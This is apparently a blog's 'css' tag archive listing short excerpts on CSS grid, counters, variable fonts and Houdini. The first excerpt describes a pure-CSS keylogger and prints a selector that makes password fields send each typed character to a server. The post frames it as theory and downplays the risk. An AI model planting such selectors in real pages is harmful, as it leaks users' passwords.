Tag Archives: css

CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory … Continue reading

Elsewhere , , , 2 Comments

Ordering tabular data with only CSS thanks to CSS Variables

Neat experiment by Roman Komarov in which he orders tabular data using just HTML/CSS, thanks to the use of CSS Custom Properties (CSS Variables): Each cell of each row is given a specific value to sort on. <tr class="table-row" style=" … Continue reading

Elsewhere , , Leave a comment

Counting With CSS Counters and CSS Grid

Thanks to Counting With CSS Counters and CSS Grid my attention was directed to this fact comes to using CSS Counters: The effectiveness of counter() wanes when we realize that an element displaying the total count can only appear after … Continue reading

Elsewhere , , , , Leave a comment

CSS Grid Experiments

Jules Forrest has recreated several magazine layouts using CSS Grid. Worth a peek inside the source code. CSS Grid Experiments →

Elsewhere , , , Leave a comment

How to use variable fonts in the real world

Richard Rutter (@clagnut): Using variable fonts in the real world turns out to be tricky. This post explains how we achieved it for the new Ampersand website and what we learned along the way. Always great to see how others … Continue reading

Elsewhere , , Leave a comment

Recreating the GitHub Contribution Graph with CSS Grid Layout

Recently, I decided to try to recreate the GitHub Contribution graph using CSS Grid Layout, and found it was an interesting challenge. As I always find while working with CSS Grid Layout, I end up with far less CSS than … Continue reading

Elsewhere , , , Leave a comment

CSS Paint API (Houdini’s Paint Worklet) available in Chrome 65!

Oh yeah, the CSS Paint API will be enabled by default in Chrome 65: CSS Paint API allows you to programmatically generate an image whenever a CSS property expects an image. Properties like background-image or border-image are usually used with … Continue reading

Elsewhere , , , Leave a comment

CSSGrid.io – Free Video Series to learning CSS Grid

Great new video series by Wes Bos, this time on learning CSS Grid. CSS Grid may seem a bit daunting with new syntax and layout ideas, but it’s fairly simple and can be broken down into a handful of powerful … Continue reading

Elsewhere , , , Leave a comment

Fontastic Web Performance

Emojineer Monica Dinculescu: Web fonts are awesome. They make your sans-serifs slabby, your headers special and your website look gorgeous. But fonts are a resource, and downloading resources always comes as a cost — if you don’t load web fonts … Continue reading

Elsewhere , , , Leave a comment

Sam Richard: Magic Tricks with CSS Houdini

Recording of Sam Richard talking at ColdFront17 about the aforementioned Houdini: This talk will focus on the working being done by the CSS Houdini Task Force to provide us with the ability to extend the browser’s render engine with JavaScript, … Continue reading

Elsewhere , , 1 Comment